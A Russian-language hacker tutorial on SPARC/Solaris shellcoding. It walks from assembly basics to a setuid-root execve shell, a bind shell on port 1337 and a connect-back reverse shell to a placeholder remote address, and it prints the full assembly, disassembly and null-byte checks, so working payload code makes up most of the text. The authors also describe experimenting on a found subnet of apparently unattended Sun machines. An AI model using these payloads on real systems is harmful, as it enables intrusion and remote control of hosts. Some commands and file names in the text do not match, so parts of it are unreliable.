--== SPARC SHELLCODING ==--

   content list

   - intro
   - hello world ^^
   - execve() shit
   - work with descriptors
   - bind shell
   - fuckout

   Совсем недавно мы наткнулись на сабнет  с кучей сановских машинок и вот
   решили наваять статью по ассемблеру под SunOs/Solaris (благо для опытов
   обламилась пара нехилых боксов c 64-битной  UltraSparc и  SunOS 5.8 без
   признаков админа внтури ;)).


   Сперва небольшое введение.  SPARC  ==  Scalable Processor ARChitecture,
   то бишь проц с масштабируемой архитектурой,  разрабатывался он в Беркли
   между 1984  и 1987  на базе  архитектуры RISC  (Reduced Instruction Set
   Computer), которая немногим ранее  разрабатывалась там же  (1982-1984).
   Смысл  RISC состоит в том,  чтобы сделать  проц с  упрощённой  системой
   команд и  соответственно более  производительный.  К примеру  на первых
   спарках было всего 32 команды.  Стоит заметить  что RISC-проц благодаря
   урезанному набору команд и стоит дешевле,  что есть кул.  Так что,  как
   говорится, RISC спасёт мир )


   Теперь про сановские оси:  т.к. дело было  в Беркли,  то  соответсвенно
   юниксы под спарк были основанны на BSD-unix,  поэтому скажем с сокетами
   работать  можно также  как в  net/free_BSD  без  всяких  socketcall'ов.
   Первые SunOS были чисто консольными, зато в Solaris (sunos  5.х  и есть
   соляра)  gui была  внедрена  очень  прочно  (aka  CDE =  Common desktop
   environment).


   Собственно что мы имеем:

 sun~% uname -a
 SunOS no1 5.8 Generic_108528-29 sun4u sparc SUNW,UltraAX-i2

   Стоит  добавить что с тамошними  binutils-like софтинами  возник казус,
   по дефолту  видимо туда не  ставится набор столь  нужных утилит. Зато в
   дире /usr/ccs/bin были обнаружены что-то наподобие их заменителей.

 sun~% ls -l /usr/ccs/bin
 total 4078
 -rwxr-xr-x   1 bin      bin        49768 Nov  3  1999 admin
 -r-xr-xr-x   1 root     bin        28112 Dec  2 00:55 ar
 -rwxr-xr-x   1 bin      bin       355348 Aug 20  1999 as
 -rwxr-xr-x   1 bin      bin        46292 Nov  3  1999 cdc
 -rwxr-xr-x   1 bin      bin        34016 Nov  3  1999 comb
 -rwxr-xr-x   1 bin      bin        64260 Nov  3  1999 delta
 -r-xr-xr-x   1 root     bin       125844 Jul 20  2000 dis
 -r-xr-xr-x   1 root     bin        91700 Dec  2 00:55 dump
 -r-xr-xr-x   1 root     bin        41860 Dec  2 00:55 elfdump
 -r-xr-xr-x   1 root     bin        31432 Jan  6  2000 error
 -rwxr-xr-x   1 bin      bin        57752 Nov  3  1999 get
 -r-xr-xr-x   1 root     bin        90552 Jan  6  2000 gprof
 -r--r--r--   1 root     bin         3377 Jan  6  2000 gprof.callg.blurb
 -r--r--r--   1 root     bin         1606 Jan  6  2000 gprof.flat.blurb
 -rwxr-xr-x   1 bin      bin         4872 Nov  3  1999 help
 -r-xr-xr-x   1 root     bin        32108 Dec  1 18:32 lari
 -rwxr-xr-x   1 root     bin         7544 Dec  2 00:55 ld
 -r-xr-xr-x   1 root     bin        74524 Jan  6  2000 lex
 -r-xr-xr-x   1 root     bin         2526 Jan  6  2000 lorder
 -r-xr-xr-x   1 root     bin        31608 Jan  6  2000 m4
 -rwxr-xr-x   1 bin      bin       269520 Sep 13  1999 make
 -r-xr-xr-x   2 root     bin        29936 Dec  2 00:55 mcs
 -rw-r--r--   1 root     bin         8424 Jan  6  2000 nceucform
 -rw-r--r--   1 root     bin         5885 Jan  6  2000 ncform
 -r-xr-xr-x   1 root     bin        64528 Dec  2 00:55 nm
 -rw-r--r--   1 root     bin         3198 Jan  6  2000 nrform
 -r-xr-xr-x   1 root     bin        73336 Jan  6  2000 prof
 -rwxr-xr-x   1 bin      bin        41352 Nov  3  1999 prs
 -rwxr-xr-x   1 bin      bin        20964 Nov  3  1999 prt
 -r-xr-xr-x   1 root     bin          375 Jan  6  2000 ranlib
 -r-xr-xr-x   1 root     bin         7364 Jan  6  2000 regcmp
 -rwxr-xr-x   1 bin      bin        46292 Nov  3  1999 rmdel
 -rwxr-xr-x   1 bin      bin        27620 Nov  3  1999 sact
 -rwxr-xr-x   1 bin      bin        50560 Nov  3  1999 sccs
 -rwxr-xr-x   1 bin      bin         2824 Nov  3  1999 sccsdiff
 -r-xr-xr-x   1 root     bin        10684 Dec  2 00:55 size
 drwxr-xr-x   2 root     bin          512 Mar 15 14:05 sparcv9
 -r-xr-xr-x   2 root     bin        29936 Dec  2 00:55 strip
 -r-xr-xr-x   1 root     bin          335 Jan  6  2000 symorder
 -r-xr-xr-x   1 root     bin        10580 Jan  6  2000 tsort
 -rwxr-xr-x   1 bin      bin        27620 Nov  3  1999 unget
 -r-xr-xr-x   1 root     bin        10096 Jan  6  2000 unifdef
 -rwxr-xr-x   1 bin      bin        17496 Nov  3  1999 val
 -rwxr-xr-x   1 bin      bin        16592 Nov  3  1999 vc
 -rwxr-xr-x   1 bin      bin         9360 Nov  3  1999 what
 -r-xr-xr-x   1 root     bin        56228 Jan  6  2000 yacc
 -rw-r--r--   1 root     bin        11853 Jan  6  2000 yaccpar


 Особенности синтаксиса.

   Краткий список регистров:

   global registers   %g0 .. %g7  (aka  %r0..%r7   )
   output registers   %o0 .. %o7  (aka  %r8..%r15  )
   local registers    %l0 .. %l7  (aka  %r16..%r23 )
   input registers    %i0 .. %i7  (aka  %r24..%r31 )

   stack pointer      %sp (aka %o6 aka  %r14)
   frame pointer      %fp (aka %i6 aka  %r30)

   Глобальные регистры используется системой, скажем в %g1 при обращении к
   ядру указывается номер системного вызова.  Кстати, kernel trap на SPARC
   в старых SunOS ( < 4.x) вызывается так:

   ta 0 ! кстати комменты отделяются восклицательным знаком ;)

   В Solaris и SunOS так:

   ta 8

   mov 666, %l0       - mov позволяет класть в регистр half word, тоесть 2
                        байта (-4095..4095).

   set 0xdefaced, %l0 - заталкиваем в регистр %l0 полноценный word, т.е. 4
                        байта всего.

   Для арифметических функций используется 3 операнда. Примеры:

   add a,b,c    что означает c=a+b, тоесть операнд С указывает куда класть
   sub a,b,c    результат. Удобно, не правда ли?

   Также работа со стеком слегка отличается:

   store, aka st -  позволяет грохать в стек содержимое одного 32х битного
                    регистра (в RISC размер команд и регистров фиксирован)

   st a, [ %sp - <offset> ]   А - регистр, пихается в стек по смещению offset
                              в байтах конечно ) Аналог push. Если в качестве
                              второго  аргумента  указать  не  %sp, то данные
                              соответственно будут ложиться по тому адресу,не
                              в стек, а куда будет указано.

   store double, aka std - грохаем 2 смежных регистра, в итоге 64 бита.

   std a, [ %sp - <offset> ]   А - первый из регистров, второй A+1.Пример:

   std %l0, [ %sp - 12 ]    В стек по смещению -12  кладётся содержимое 2х
                            регистров %l0 и %l1.

   lds [ %sp - 12 ], %l0    взять 4 байта по адресу stack_porinter - 12  и
                            дропнуть их в регистр %l0. Аналог pop.

   Встречаются также разновидности этих команд типа:

   sth  - store half word, дропнуть 2 байта
   stb  - store byte, дропнуть 1 байт

   Пару слов стоит сказать о cmp и обработке вариантов, пример:

 /*
   if (a == b){
      CODE_A
   } else {
      CODE_B
   }

 */

 cmp %o1, %l0
 bne .L1
   CODE_A
.L1:
   CODE_B

   Итак, integer condition codes:
   b*    comment
   be    ==
   bne   !=
   bl    <
   bg    >
   ble   <=
   bge   >=
   bn    never (наверное что-то ужасное ^^)
   bz    zero
   bnz   not zero

   Да, чуть не забыл - SPARC это Big endian! Вообще системы с процами типа
   V9 поддерживают и little-endian,  но для совместимости будем юзать big,
   а то x86 уже затрахал. Вот и пример:

 sun~% cat test.s
 ! dumb write(1, "A55\n", 4) prog
 .text
 .align 4
 .global _start
 _start:

 ! write()
 mov 1, %o0  ! первый аргумент = stdout
 mov 4, %o2  ! третий аргумент = длина строки
 mov 4, %g1  ! write syscall

 set 0x4135350a, %l0 ! local register 0 == "A55\n"
 st %l0, [ %sp - 8 ] ! кладём содержимое %l0 в стек со смещением -8
 sub %sp, 8, %o1     ! адрес начала строки помещаем как второй аргумент

 ta 8        ! kernel trap

 ! exit()
 mov 0, %o0  ! первый аргумент = 0
 mov 1, %g1  ! exit syscall
 ta 8        ! kernel trap

   Теперь потестим:

 sun~% /usr/ccs/bin/as -o test.o test.s
 sun~% /usr/ccs/bin/ld -o test test.o
 sun~% ./test
 A55
 sun~%

   Заебись! ^) Посмотрим дизасм нашего кода:

 sun~% /usr/ccs/bin/dis test
    disassembly for /home/satana/test
    section .text
    101d8:  90 10 20 01        mov      1, %o0
    101dc:  94 10 20 04        mov      4, %o2
    101e0:  82 10 20 04        mov      4, %g1
    101e4:  21 10 4d 4d        sethi    %hi(0x41353400), %l0
    101e8:  a0 14 21 0a        or       %l0, 0x10a, %l0 ! 0x4135350a
    101ec:  e0 23 bf f8        st       %l0, [%sp - 8]
    101f0:  92 23 a0 08        sub      %sp, 8, %o1
    101f4:  91 d0 20 08        ta       0x8
    101f8:  90 10 20 00        clr      %o0
    101fc:  82 10 20 01        mov      1, %g1
    10200:  91 d0 20 08        ta       0x8

 sun~%

     Обратите  внимание на  фиксированную  длину команд!  Размер  шеллкода
   получится не  абы какой конечно, зато производительность таких камешков
   нехило опережает всякие пни, целероны, атлоны и дурни ;P.


   Попробуем написать setuid(0) + execve() код:

 sun~% cat /usr/include/sys/syscall.h | grep setuid
 #define SYS_setuid  23
 sun~% cat /usr/include/sys/syscall.h | grep execve
 #define SYS_execve  59
 sun~% cat execve.s

 ! dumb setuid(0) + execve()
 .text
 .align 4
 .global _start
 _start:
 ! lol
 ! setuid();
 mov 23, %g1     ! setuid syscall = 23
 xor %g1, %g1, %o0  ! arg1 = uid
 ta 8

 ! execve();
 set 0x2f2f6269, %l0
 set 0x6e2f7368, %l1
 std %l0, [ %sp - 24 ]
 clr [ %sp - 16 ] ! push zero at the end of string
 sub %sp, 24, %o0 ! arg1 = filename

 st %o0, [ %sp - 12 ]
 clr [ %sp - 8 ]
 sub %sp, 12, %o1 ! arg2 = argv

 xor %o1,%o1,%o2  ! arg3 = null-envp
 mov 59, %g1
 ta 8

 ! exit()
 mov 1, %g1
 ta 8

 sun~% su
 bla-bla-bla
 root@omfg`# as -o exec.o exec.s
 root@omfg`# ld -o exec exec.o
 root@omfg`# chmod 4755 ./exec; exit
 sun~% id
 uid=99(sun) gid=1(others)
 sun~% ./exec
 # id
 uid=0(root) euid=0(root) gid=1(others)
 # exit
 sun~% /usr/ccs/bin/dis ./exec
        ****   DISASSEMBLER  ****


 disassembly for ./exec

 section .text
     101dc:  82 10 20 17        mov          0x17, %g1
     101e0:  90 18 40 01        xor          %g1, %g1, %o0
     101e4:  91 d0 20 08        ta           0x8
     101e8:  21 0b cb d8        sethi        %hi(0x2f2f6000), %l0
     101ec:  a0 14 22 69        or           %l0, 0x269, %l0 ! 0x2f2f6269
     101f0:  23 1b 8b dc        sethi        %hi(0x6e2f7000), %l1
     101f4:  a2 14 63 68        or           %l1, 0x368, %l1 ! 0x6e2f7368
     101f8:  e0 3b bf e8        std          %l0, [%sp - 0x18]
     101fc:  c0 23 bf f0        clr          [%sp - 0x10]
     10200:  90 23 a0 18        sub          %sp, 0x18, %o0
     10204:  d0 23 bf f4        st           %o0, [%sp - 0xc]
     10208:  c0 23 bf f8        clr          [%sp - 0x8]
     1020c:  92 23 a0 0c        sub          %sp, 0xc, %o1
     10210:  94 1a 40 09        xor          %o1, %o1, %o2
     10214:  82 10 20 3b        mov          0x3b, %g1
     10218:  91 d0 20 08        ta           0x8
     1021c:  82 10 20 01        mov          0x1, %g1
     10220:  91 d0 20 08        ta           0x8

 sun~%

   Что и требовалось доказать ;)

   Результат:системные вызовы возвращают в регистр %o0, иногда в %o1 - ( к
   примеру getuid() в кладёт uid в %o0 и euid - в %o1). Попробуем написать
   небольшой пример, исходя из полученной инфы:

 sun~% cat /usr/include/sys/fcntl.h | greop O_
 #define O_RDONLY    0
 #define O_WRONLY    1
 #define O_RDWR      2
 #define O_NDELAY    0x04    /* non-blocking I/O */
 #define O_APPEND    0x08    /* append (writes guaranteed at the end) */
 #define O_SYNC      0x10    /* synchronized file update option */
 #define O_DSYNC     0x40    /* synchronized data update option */
 #define O_RSYNC     0x8000  /* synchronized file update option */
 #define O_NONBLOCK  0x80    /* non-blocking I/O (POSIX) */
 #define O_PRIV      0x1000  /* Private access to file */
 #define O_LARGEFILE 0x2000
 #define O_CREAT     0x100   /* open with file create (uses third arg) */
 #define O_TRUNC     0x200   /* open with truncation */
 #define O_EXCL      0x400   /* exclusive open */
 #define O_NOCTTY    0x800   /* don't allocate controlling tty (POSIX) */
 #define O_XATTR     0x4000  /* extended attribute */
 #define F_O_GETLK   5   /* SVR3 Get file lock (need for rfs, across */
 #define O_ACCMODE   3   /* Mask for file access modes */
 #define DIRECTIO_OFF    (0)
 #define DIRECTIO_ON (1)

 sun~% echo good; echo > /tmp/zzz
 good
 sun~% cat test2.s
 ! mess with filezz xmpl

 .text
 .align 4
 .global _start
 _start:

 ! open()
 mov 1, %o1   ! O_WRONLY

 set 0x2f746d70, %l0
 set 0x2f7a7a7a, %l1
 std %l0, [ %sp - 16 ]
 sub %sp, 0x10, %o0 ! filename
 clr [ %sp - 8 ]

 mov 5, %g1       ! open syscall
 ta 8

 ! write()
 mov %o0,%l2
 mov 4, %o2
 mov 4, %g1

 set 0x4135350a, %l0
 st %l0, [ %sp - 8 ]
 sub %sp, 8, %o1
 ta 8

 ! close()
 mov %l2, %o0
 mov 6, %g1
 ta 8

 ! exit(1)
 mov 1, %o0
 mov %o0, %g1
 ta 8

 sun~% /usr/ccs/bin/as -o test2.o test2.s
 sun~% /usr/ccs/bin/ld -o test2 test2.o
 sun~% ./test2; cat /tmp/zzz
 A55
 sun~% uname -a
 SunOS no1 5.9 Generic_117171-07 sun4u sparc SUNW,Sun-Fire-V210
 sun~%

   Прога работает, и между тем админы успели проапгрейдить систему до 5.9(
   не знал что такая есть =)).

   Ладно, теперь пора бы разобраться с сетевой частью. Bind-shell в данном
   случае будет вполне уместен, так что приступим:

 sun~% cat /usr/include/sys/socket.h | grep SOCK_
 #define SOCK_STREAM NC_TPI_COTS /* stream socket */
 #define SOCK_DGRAM  NC_TPI_CLTS /* datagram socket */
 #define SOCK_RAW    NC_TPI_RAW  /* raw-protocol interface */
 #define SOCK_STREAM 2       /* stream socket */
 #define SOCK_DGRAM  1       /* datagram socket */
 #define SOCK_RAW    4       /* raw-protocol interface */
 #define SOCK_RDM    5       /* reliably-delivered message */
 #define SOCK_SEQPACKET  6       /* sequenced packet stream */

 sun~% cat /usr/include/netinet/in.h | grep TCP
 #define IPPROTO_TCP     6       /* tcp */
  * UNIX TCP sockets

   Пока всё в порядке..

 sun~% cat /usr/include/sys/syscall.h | grep socket
 #define SYS_so_socket       230
 #define SYS_so_socketpair   231
 ...
 #define SYS_so_socketpair   231
 #define SYS_bind        232
 #define SYS_listen      233
 #define SYS_accept      234
 #define SYS_connect     235

   А вот dup2() не оказалось! Чтобы оптимизировать код, посмотрим как идёт
   распределение дескрипторов:

 sun~% cat open.c
 #include <stdio.h>
 #include <fcntl.h>

 main()
 {
  int i,fd;
  char buf[255];

  fd = open("./damn", 2);

  close(0);
  i = dup(fd);

  memset(&buf, 0, 255);
  sprintf(buf, "got descriptor %i\n", i);
  write(fd, &buf, strlen(buf));

  close(1);
  i = dup(fd);

  memset(&buf, 0, 255);
  sprintf(buf, "got descriptor %i\n", i);
  write(fd, &buf, strlen(buf));

  close(2);
  i = dup(fd);

  memset(&buf, 0, 255);
  sprintf(buf, "got descriptor %i\n", i);
  write(fd, &buf, strlen(buf));
  close(fd);
  return 0;
 }
 sun~% /usr/local/bin/gcc -o open open.c
 sun~% echo > damn; ./open
 sun~% cat ./damn
 got descriptor 0
 got descriptor 1
 got descriptor 2
 sun~%

   Хорошо, значит нам будет достаточно закрыть  0..2 дескрипторы и вызвать
   3 раза dup(sock), должно получиться.  Проверим, в каких регистрах после
   обращения к ядру сохраняются исходные данные,это поможет оптимизировать
   код:

 sun~% cat xmpla.s
 .text
 .align 4
 .global _start
 _start:

 mov 6, %g1
 xor %g1, %g1, %o0
 ta 8

 mov 1, %o0  ! optimized ops
 ta 8

 mov 2, %o0  ! yeah
 ta 8

 ! write()
 mov 4, %g1
 mov 4, %o2

 set 0x4135350a, %l0
 st %l0, [ %sp - 8 ]
 sub %sp, 8, %o1

 mov 1, %o0
 ta 8

 mov 4, %g1
 mov 4, %o2

 set 0x4236360a, %l0
 st %l0, [ %sp - 8 ]
 sub %sp, 8, %o1

 mov 2, %o0
 ta 8


 ! exit()
 mov 1, %o0
 mov %o0, %g1
 ta 8

 sun~% /usr/ccs/bin/as -o ts.o tst.s
 sun~% /usr/ccs/bin/ld -o ts ts.o
 sun~% ./ts
 sun~% okay seems like close works fine..
 sun~% cat xmplb.s
 .text
 .align 4
 .global _start
 _start:

 mov 6, %g1
 xor %g1, %g1, %o0
 ta 8

 mov 2, %o0  ! yeah
 ta 8

 ! write()
 mov 4, %g1
 mov 4, %o2

 set 0x4135350a, %l0
 st %l0, [ %sp - 8 ]
 sub %sp, 8, %o1

 mov 1, %o0
 ta 8

 mov 4, %g1
 mov 4, %o2

 set 0x4236360a, %l0
 st %l0, [ %sp - 8 ]
 sub %sp, 8, %o1

 mov 2, %o0
 ta 8


 ! exit()
 mov 1, %o0
 mov %o0, %g1
 ta 8

 sun~% /usr/ccs/bin/as -o ts.o tst.s
 sun~% /usr/ccs/bin/ld -o ts ts.o
 sun~% ./ts
 A55
 sun~% SUPAh!

   Прекрасно, теперь стоит призадуматься над написанием bind-sock шеллкода
   без нулей.  К сожалению,  коды операций с регистрами %g0 и %o0 зачастую
   содержат null-bytez, что для нас не подходит.  Сперва пара  слов о том,
   как ядро выдаёт дескрипторы.


   Итак, сперва, процесс получает дескрипторы 0, 1, 2. Потом,  при  вызове
   socket() возвращает 3, и наконец accept() выдаёт 4.  Эта схема работает
   и в том случае, когда открыто несколько дескрипторов. Пример с dup():

   open() = 3
   ...

   open() = 6
   close(2)
   dup(6) = 2

   То есть ядро, при  создании  нового  дескриптора, пробегает сначала  по
   всему  списку  и  если оказывается, что  один из слотов свободен, там и
   создаётся new fd. Show time!

 sun~% cat sparc-bind.s
! bind sock at port 1337

 .text
 .align 4
 .global _start
 _start:

 ! close(3)
 mov 6, %g1
 mov 3, %o0
 ta 8

 ! close(4)
 mov 4, %o0
 ta 8

 ! socket(AF_INET, SOCK_STREAM, TCP)
 mov 230, %g1 ! socket syscall
 mov 2, %o0   ! AF_INET
 mov 2, %o1   ! SOCK_STREAM
 mov 6, %o2   ! TCP
 ta 8

 ! bind()
 mov 232, %g1          ! bind syscall

 mov 2, %l0
 sth %l0, [ %sp - 20 ] ! 2
 mov 1337, %l0
 sth %l0, [ %sp - 18 ] ! 1337

 clr [ %sp - 16 ]     ! inaddr_any
 clr [ %sp - 12 ]
 clr [ %sp - 8 ]
 sub %sp, 20, %o1
 mov 16, %o2          ! sizeof sockaddr_in
 ta 8

 ! listen()
 mov 233, %g1  ! listen syscall
 mov   3, %o0  ! sock
 clr %o1  ! 1
 ta 8

 ! accept()
 clr %g1
 mov 234, %o0
 mov 3, %o1
 clr [ %sp - 8]
 sub %sp, 8, %o3
 mov %o3, %o2
 ta 8

 ! dup = 41

 ! close(0..2)
 mov 6, %g1
 xor %g1, %g1, %o0
 ta 8

 mov 1, %o0
 ta 8
 mov 2, %o0
 ta 8

 mov  41, %g1 ! dup()
 mov   4, %o0
 ta 8
 mov   4, %o0
 ta 8
 mov   4, %o0
 ta 8

 ! execve()
 set 0x2f2f6269, %l0
 set 0x6e2f7368, %l1
 std %l0, [ %sp - 24 ]
 clr [ %sp - 16 ]   ! push zero at the end of string
 sub %sp, 24, %o0   ! arg1 = filename

 st %o1, [ %sp - 12 ]
 clr [ %sp - 8 ]
 sub %sp, 12, %o1   ! arg2 = argv

 xor %o1,%o1,%o2    ! arg3 = null-envp
 mov 59, %g1
 ta 8

 ! exit()
 mov 1, %g1
 ta 8

 sun~% /usr/ccs/bin/as -o bd.o bind.s
 sun~% /usr/ccs/bin/ld -o bd bd.o
 sun~% /usr/ccs/bin/dis ./bd
        ****   DISASSEMBLER  ****


 disassembly for /tmp/bd

 section .text
    101d8:  82 10 20 06        mov          0x6, %g1
    101dc:  90 10 20 03        mov          0x3, %o0
    101e0:  91 d0 20 08        ta           0x8
    101e4:  90 10 20 04        mov          0x4, %o0
    101e8:  91 d0 20 08        ta           0x8
    101ec:  82 10 20 e6        mov          0xe6, %g1
    101f0:  90 10 20 02        mov          0x2, %o0
    101f4:  92 10 20 02        mov          0x2, %o1
    101f8:  94 10 20 06        mov          0x6, %o2
    101fc:  91 d0 20 08        ta           0x8
    10200:  82 10 20 e8        mov          0xe8, %g1
    10204:  a0 10 20 02        mov          0x2, %l0
    10208:  e0 33 bf ec        sth          %l0, [%sp - 0x14]
    1020c:  a0 10 25 39        mov          0x539, %l0
    10210:  e0 33 bf ee        sth          %l0, [%sp - 0x12]
    10214:  c0 23 bf f0        clr          [%sp - 0x10]
    10218:  c0 23 bf f4        clr          [%sp - 0xc]
    1021c:  c0 23 bf f8        clr          [%sp - 0x8]
    10220:  92 23 a0 14        sub          %sp, 0x14, %o1
    10224:  94 10 20 10        mov          0x10, %o2
    10228:  91 d0 20 08        ta           0x8
    1022c:  82 10 20 e9        mov          0xe9, %g1
    10230:  90 10 20 03        mov          0x3, %o0
    10234:  92 1a 40 09        xor          %o1, %o1, %o1
    10238:  91 d0 20 08        ta           0x8
    1023c:  82 10 00 00        clr          %g1
    10240:  90 10 20 ea        mov          0xea, %o0
    10244:  92 10 20 03        mov          0x3, %o1
    10248:  c0 23 bf f8        clr          [%sp - 0x8]
    1024c:  96 23 a0 08        sub          %sp, 0x8, %o3
    10250:  94 23 a0 08        sub          %sp, 0x8, %o2
    10254:  91 d0 20 08        ta           0x8
    10258:  82 10 20 06        mov          0x6, %g1
    1025c:  90 18 40 01        xor          %g1, %g1, %o0
    10260:  91 d0 20 08        ta           0x8
    10264:  90 10 20 01        mov          0x1, %o0
    10268:  91 d0 20 08        ta           0x8
    1026c:  90 10 20 02        mov          0x2, %o0
    10270:  91 d0 20 08        ta           0x8
    10274:  82 10 20 29        mov          0x29, %g1
    10278:  90 10 20 04        mov          0x4, %o0
    1027c:  91 d0 20 08        ta           0x8
    10280:  90 10 20 04        mov          0x4, %o0
    10284:  91 d0 20 08        ta           0x8
    10288:  90 10 20 04        mov          0x4, %o0
    1028c:  91 d0 20 08        ta           0x8
    10290:  21 0b cb d8        sethi        %hi(0x2f2f6000), %l0
    10294:  a0 14 22 69        or           %l0, 0x269, %l0 ! 0x2f2f6269
    10298:  23 1b 8b dc        sethi        %hi(0x6e2f7000), %l1
    1029c:  a2 14 63 68        or           %l1, 0x368, %l1 ! 0x6e2f7368
    102a0:  e0 3b bf e8        std          %l0, [%sp - 0x18]
    102a4:  c0 23 bf f0        clr          [%sp - 0x10]
    102a8:  90 23 a0 18        sub          %sp, 0x18, %o0
    102ac:  d2 23 bf f4        st           %o1, [%sp - 0xc]
    102b0:  c0 23 bf f8        clr          [%sp - 0x8]
    102b4:  92 23 a0 0c        sub          %sp, 0xc, %o1
    102b8:  94 1a 40 09        xor          %o1, %o1, %o2
    102bc:  82 10 20 3b        mov          0x3b, %g1
    102c0:  91 d0 20 08        ta           0x8
    102c4:  82 10 20 01        mov          0x1, %g1
    102c8:  91 d0 20 08        ta           0x8


   В ходе написания  шеллкода,  обнаружилась  такая вот  магическая хрень:
   если данный код на асме просто собрать и запустить, то прога вывалиться
   в момент. А если аналогичный код вкрутить через директиву  __asm__()  в
   сишный код,то всё пашет нормально. По началу возникали вопросы, на тему
   что за хуйня  -  работает всё произвольно  и  через раз. Если вы читали
   "Солярис" Станислава Лема, то пожалуй вы поймёте ))  Собственно по ходу
   всех контактов с  волшебной  осью,  что-нибудь  оказывалось  неожиданно
   не в теме.  Возникали подозрения на "злоебучий мать-его компилер асма",
   потом на организацию памяти и т.д. До конца не удалось выяснить, какого
   черта написанный на асме код пашет только если его запихать в си.

   По аналогии с bind-sock пишется и connect-back (то есть наобум %)):

 sun~% cat conb.s
 .text
 .align 4
 .global _start
 _start:

 mov 6, %g1
 mov 3, %o0
 ta 8

 mov 4, %o0
 ta 8

 ! socket()
 mov 230, %g1 ! socket syscall
 mov 2, %o0   ! AF_INET
 mov 2, %o1   ! SOCK_STREAM
 mov 6, %o2   ! TCP
 ta 8

 ! connect()
 mov 235, %g1         ! connect syscall

 mov 2, %l0
 sth %l0, [ %sp - 20 ] ! 2
 mov 1337, %l0
 sth %l0, [ %sp - 18 ] ! 1337  - remote port

 set 0xdefaced, %l1    ! remote IP
 st %l1, [ %sp - 16 ]
 clr [ %sp - 12 ]
 clr [ %sp - 8 ]
 sub %sp, 20, %o1
 mov  16, %o2          ! sizeof sockaddr_in
 ta 8

 ! close
 mov 6, %g1
 xor %g1, %g1, %o0
 ta 8

 mov 1, %o0
 ta 8

 mov 2, %o0
 ta 8

 ! dup
 mov 41, %g1
 mov 3, %o0
 ta 8

 mov 3, %o0
 ta 8

 mov 3, %o0
 ta 8

 ! execve()
 set 0x2f2f6269, %l0
 set 0x6e2f7368, %l1
 std %l0, [ %sp - 24 ]
 clr [ %sp - 16 ]   ! push zero at the end of string
 sub %sp, 24, %o0   ! arg1 = filename

 xor %o1,%o1,%o2    ! arg3 = null-envp
 mov 59, %g1
 ta 8

 ! exit()
 mov 1, %g1
 ta 8

 sun~% echo ok
 ...
 sun~% /usr/ccs/bin/dis ./cb
         ****   DISASSEMBLER  ****


 disassembly for /tmp/cb

 section .text
    101d8:  82 10 20 06        mov          0x6, %g1
    101dc:  90 10 20 03        mov          0x3, %o0
    101e0:  91 d0 20 08        ta           0x8
    101e4:  90 10 20 04        mov          0x4, %o0
    101e8:  91 d0 20 08        ta           0x8
    101ec:  82 10 20 e6        mov          0xe6, %g1
    101f0:  90 10 20 02        mov          0x2, %o0
    101f4:  92 10 20 02        mov          0x2, %o1
    101f8:  94 10 20 06        mov          0x6, %o2
    101fc:  91 d0 20 08        ta           0x8
    10200:  82 10 20 eb        mov          0xeb, %g1
    10204:  a0 10 20 02        mov          0x2, %l0
    10208:  e0 33 bf ec        sth          %l0, [%sp - 0x14]
    1020c:  a0 10 25 39        mov          0x539, %l0
    10210:  e0 33 bf ee        sth          %l0, [%sp - 0x12]
    10214:  23 03 7b eb        sethi        %hi(0xdefac00), %l1
    10218:  a2 14 60 ed        or           %l1, 0xed, %l1  ! 0xdefaced
    1021c:  e2 23 bf f0        st           %l1, [%sp - 0x10]
    10220:  c0 23 bf f4        clr          [%sp - 0xc]
    10224:  c0 23 bf f8        clr          [%sp - 0x8]
    10228:  92 23 a0 14        sub          %sp, 0x14, %o1
    1022c:  94 10 20 10        mov          0x10, %o2
    10230:  91 d0 20 08        ta           0x8
    10234:  82 10 20 06        mov          0x6, %g1
    10238:  90 18 40 01        xor          %g1, %g1, %o0
    1023c:  91 d0 20 08        ta           0x8
    10240:  90 10 20 01        mov          0x1, %o0
    10244:  91 d0 20 08        ta           0x8
    10248:  90 10 20 02        mov          0x2, %o0
    1024c:  91 d0 20 08        ta           0x8
    10250:  82 10 20 29        mov          0x29, %g1
    10254:  90 10 20 03        mov          0x3, %o0
    10258:  91 d0 20 08        ta           0x8
    1025c:  90 10 20 03        mov          0x3, %o0
    10260:  91 d0 20 08        ta           0x8
    10264:  90 10 20 03        mov          0x3, %o0
    10268:  91 d0 20 08        ta           0x8
    1026c:  21 0b cb d8        sethi        %hi(0x2f2f6000), %l0
    10270:  a0 14 22 69        or           %l0, 0x269, %l0 ! 0x2f2f6269
    10274:  23 1b 8b dc        sethi        %hi(0x6e2f7000), %l1
    10278:  a2 14 63 68        or           %l1, 0x368, %l1 ! 0x6e2f7368
    1027c:  e0 3b bf e8        std          %l0, [%sp - 0x18]
    10280:  c0 23 bf f0        clr          [%sp - 0x10]
    10284:  90 23 a0 18        sub          %sp, 0x18, %o0
    10288:  94 1a 40 09        xor          %o1, %o1, %o2
    1028c:  82 10 20 3b        mov          0x3b, %g1
    10290:  91 d0 20 08        ta           0x8
    10294:  82 10 20 01        mov          0x1, %g1
    10298:  91 d0 20 08        ta           0x8
$ /usr/ccs/bin/dis /tmp/cb | grep 00
    10200:  82 10 20 eb        mov          0xeb, %g1
    10214:  23 03 7b eb        sethi        %hi(0xdefac00), %l1
    1026c:  21 0b cb d8        sethi        %hi(0x2f2f6000), %l0
    10274:  23 1b 8b dc        sethi        %hi(0x6e2f7000), %l1


   В качестве итога был написан простой генератор шеллкодов(look @include/
   asm_sparc/gen_sparc.c). Он весьма прост и ограничен в возможностях,  но
   если вы пользуетесь подобного рода варезом то этого должно хватить.  Те
   кто хочет сваять что-либо сложнее банального  fork/seteuid/bla-bla-bla+
   execve как правило не пользуются всякими генераторами ;P

з.ы. вывод от ds: ну нахуй такие  операционки с тьмой  недокументированных
   возможностей ) joke. haha... well..

з.з.ы. возможно,  что проблема возникал из-за того, что gcc  был от новой,
   расширенной архитектуры (sparcv9), а as и ld - от старой (sparcv7).

   Have a nice day! (and check include/asm_sparc/)